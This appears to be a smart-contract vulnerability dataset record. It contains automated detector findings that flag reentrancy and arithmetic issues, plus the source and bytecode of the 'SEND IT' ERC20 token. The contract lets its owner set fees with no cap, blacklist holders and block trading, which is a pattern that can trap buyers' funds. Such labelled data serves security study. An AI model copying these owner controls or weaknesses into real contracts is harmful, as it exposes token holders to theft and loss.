815260200160002081905550505050565b61242082600854611fc490919063ffffffff16565b60088190555061243b81600954611ea190919063ffffffff16565b6009819055505050565b6000806000806124716064612463888a611eff90919063ffffffff16565b611f7a90919063ffffffff16565b9050600061249b606461248d888b611eff90919063ffffffff16565b611f7a90919063ffffffff16565b905060006124c4826124b6858c611fc490919063ffffffff16565b611fc490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124f48589611eff90919063ffffffff16565b9050600061250b8689611eff90919063ffffffff16565b905060006125228789611eff90919063ffffffff16565b9050600061254b8261253d8587611fc490919063ffffffff16565b611fc490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061257761257284612e4d565b612e28565b9050808382526020820190508285602086028201111561259a576125996131b8565b5b60005b858110156125ca57816125b088826125d4565b84526020840193506020830192505060018101905061259d565b5050509392505050565b6000813590506125e3816134cb565b92915050565b6000815190506125f8816134cb565b92915050565b600082601f830112612613576126126131b3565b5b8135612623848260208601612564565b91505092915050565b60008135905061263b816134e2565b92915050565b600081519050612650816134e2565b92915050565b600081359050612665816134f9565b92915050565b60008151905061267a816134f9565b92915050565b600060208284031215612696576126956131c2565b5b60006126a4848285016125d4565b91505092915050565b6000602082840312156126c3576126c26131c2565b5b60006126d1848285016125e9565b91505092915050565b600080604083850312156126f1576126f06131c2565b5b60006126ff858286016125d4565b9250506020612710858286016125d4565b9150509250929050565b600080600060608486031215612733576127326131c2565b5b6000612741868287016125d4565b9350506020612752868287016125d4565b925050604061276386828701612656565b9150509250925092565b60008060408385031215612784576127836131c2565b5b6000612792858286016125d4565b92505060206127a385828601612656565b9150509250929050565b6000602082840312156127c3576127c26131c2565b5b600082013567ffffffffffffffff8111156127e1576127e06131bd565b5b6127ed848285016125fe565b91505092915050565b60006020828403121561280c5761280b6131c2565b5b600061281a8482850161262c565b91505092915050565b600060208284031215612839576128386131c2565b5b600061284784828501612641565b91505092915050565b600080600060608486031215612869576128686131c2565b5b60006128778682870161266b565b93505060206128888682870161266b565b92505060406128998682870161266b565b9150509250925092565b60006128af83836128bb565b60208301905092915050565b6128c481612fe3565b82525050565b6128d381612fe3565b82525050565b60006128e482612e89565b6128ee8185612eac565b93506128f983612e79565b8060005b8381101561292a57815161291188826128a3565b975061291c83612e9f565b9250506001810190506128fd565b5085935050505092915050565b61294081612ff5565b82525050565b61294f81613038565b82525050565b600061296082612e94565b61296a8185612ebd565b935061297a81856020860161304a565b612983816131c7565b840191505092915050565b600061299b602383612ebd565b91506129a6826131d8565b604082019050919050565b60006129be602a83612ebd565b91506129c982613227565b604082019050919050565b60006129e1602683612ebd565b91506129ec82613276565b604082019050919050565b6000612a04602283612ebd565b9150612a0f826132c5565b604082019050919050565b6000612a27601b83612ebd565b9150612a3282613314565b602082019050919050565b6000612a4a602183612ebd565b9150612a558261333d565b604082019050919050565b6000612a6d602083612ebd565b9150612a788261338c565b602082019050919050565b6000612a90602983612ebd565b9150612a9b826133b5565b604082019050919050565b6000612ab3602583612ebd565b9150612abe82613404565b604082019050919050565b6000612ad6602483612ebd565b9150612ae182613453565b604082019050919050565b6000612af9601783612ebd565b9150612b04826134a2565b602082019050919050565b612b1881613021565b82525050565b612b278161302b565b82525050565b6000602082019050612b4260008301846128ca565b92915050565b6000604082019050612b5d60008301856128ca565b612b6a60208301846128ca565b9392505050565b6000604082019050612b8660008301856128ca565b612b936020830184612b0f565b9392505050565b600060c082019050612baf60008301896128ca565b612bbc6020830188612b0f565b612bc96040830187612946565b612bd66060830186612946565b612be360808301856128ca565b612bf060a0830184612b0f565b979650505050505050565b6000602082019050612c106000830184612937565b92915050565b60006020820190508181036000830152612c308184612955565b905092915050565b60006020820190508181036000830152612c518161298e565b9050919050565b60006020820190508181036000830152612c71816129b1565b9050919050565b60006020820190508181036000830152612c91816129d4565b9050919050565b60006020820190508181036000830152612cb1816129f7565b9050919050565b60006020820190508181036000830152612cd181612a1a565b9050919050565b60006020820190508181036000830152612cf181612a3d565b9050919050565b60006020820190508181036000830152612d1181612a60565b9050919050565b60006020820190508181036000830152612d3181612a83565b9050919050565b60006020820190508181036000830152612d5181612aa6565b9050919050565b60006020820190508181036000830152612d7181612ac9565b9050919050565b60006020820190508181036000830152612d9181612aec565b9050919050565b6000602082019050612dad6000830184612b0f565b92915050565b600060a082019050612dc86000830188612b0f565b612dd56020830187612946565b8181036040830152612de781866128d9565b9050612df660608301856128ca565b612e036080830184612b0f565b9695505050505050565b6000602082019050612e226000830184612b1e565b92915050565b6000612e32612e43565b9050612e3e828261307d565b919050565b6000604051905090565b600067ffffffffffffffff821115612e6857612e67613184565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ed982613021565b9150612ee483613021565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f1957612f186130f7565b5b828201905092915050565b6000612f2f82613021565b9150612f3a83613021565b925082612f4a57612f49613126565b5b828204905092915050565b6000612f6082613021565b9150612f6b83613021565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612fa457612fa36130f7565b5b828202905092915050565b6000612fba82613021565b9150612fc583613021565b925082821015612fd857612fd76130f7565b5b828203905092915050565b6000612fee82613001565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061304382613021565b9050919050565b60005b8381101561306857808201518184015260208101905061304d565b83811115613077576000848401525b50505050565b613086826131c7565b810181811067ffffffffffffffff821117156130a5576130a4613184565b5b80604052505050565b60006130b982613021565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130ec576130eb6130f7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6134d481612fe3565b81146134df57600080fd5b50565b6134eb81612ff5565b81146134f657600080fd5b50565b61350281613021565b811461350d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122099368dad46c20c732c0ef9d7131f52e8e3bd57e8343a9ae9d9a5b882ea66cc1764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,893
0x71237798cee87d07e0fd89361c0144ddc3c97ca2
/** *Submitted for verification at Etherscan.io on 2022-04-30 */ /* SENDIT ($SEND) */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address ownershipRenounced) public virtual onlyOwner { require(ownershipRenounced != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, ownershipRenounced); _owner = ownershipRenounced; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SEND is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SEND IT"; string private constant _symbol = "SEND"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; // uint256 private _taxFeeOnBuy = 0; // No Buy Tax //Sell Fee uint256 private _redisFeeOnSell = 0; // uint256 private _taxFeeOnSell = 5; // 5% Sell Tax //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xb9784B45936cbA1adEe885d853Ff7F411eF8FBF8); address payable private _marketingAddress = payable(0xb9784B45936cbA1adEe885d853Ff7F411eF8FBF8); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; // uint256 public _maxWalletSize = 15000000000 * 10**9; // uint256 public _swapTokensAtAmount = 10000000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f37565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613380565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612ea3565b610859565b604051610259919061334a565b60405180910390f35b34801561026e57600080fd5b50610277610877565b6040516102849190613365565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af9190613562565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e54565b6108ae565b6040516102ec919061334a565b60405180910390f35b34801561030157600080fd5b5061030a610987565b6040516103179190613562565b60405180910390f35b34801561032c57600080fd5b5061033561098d565b60405161034291906135d7565b60405180910390f35b34801561035757600080fd5b50610360610996565b60405161036d919061332f565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dc6565b6109bc565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f78565b610aac565b005b3480156103d457600080fd5b506103dd610b5e565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dc6565b610c2f565b6040516104139190613562565b60405180910390f35b34801561042857600080fd5b50610431610c80565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612fa1565b610dd3565b005b34801561046857600080fd5b50610471610e72565b60405161047e9190613562565b60405180910390f35b34801561049357600080fd5b5061049c610e78565b6040516104a9919061332f565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f78565b610ea1565b005b3480156104e757600080fd5b506104f0610f53565b6040516104fd9190613562565b60405180910390f35b34801561051257600080fd5b5061051b610f59565b6040516105289190613380565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612fa1565b610f96565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fca565b611035565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612ea3565b6110ec565b6040516105b7919061334a565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dc6565b61110a565b6040516105f4919061334a565b60405180910390f35b34801561060957600080fd5b5061061261112a565b005b34801561062057600080fd5b5061063b60048036038101906106369190612edf565b611203565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e18565b611363565b6040516106719190613562565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612fa1565b6113ea565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dc6565b611489565b005b6106d461164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134c2565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108109061389c565b915050610764565b5050565b60606040518060400160405280600781526020017f53454e4420495400000000000000000000000000000000000000000000000000815250905090565b600061086d61086661164b565b8484611653565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108bb84848461181e565b61097c846108c761164b565b61097785604051806060016040528060288152602001613da960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092d61164b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a39092919063ffffffff16565b611653565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c461164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a48906134c2565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab461164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b38906134c2565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9f61164b565b73ffffffffffffffffffffffffffffffffffffffff161480610c155750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfd61164b565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1e57600080fd5b6000479050610c2c81612107565b50565b6000610c79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612202565b9050919050565b610c8861164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0c906134c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ddb61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f906134c2565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea961164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2d906134c2565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f53454e4400000000000000000000000000000000000000000000000000000000815250905090565b610f9e61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611022906134c2565b60405180910390fd5b8060188190555050565b61103d61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c1906134c2565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006111006110f961164b565b848461181e565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661116b61164b565b73ffffffffffffffffffffffffffffffffffffffff1614806111e15750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c961164b565b73ffffffffffffffffffffffffffffffffffffffff16145b6111ea57600080fd5b60006111f530610c2f565b905061120081612270565b50565b61120b61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128f906134c2565b60405180910390fd5b60005b8383905081101561135d5781600560008686858181106112e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f99190612dc6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806113559061389c565b91505061129b565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f261164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611476906134c2565b60405180910390fd5b8060178190555050565b61149161164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611515906134c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158590613422565b60405180910390fd5b8073ffffff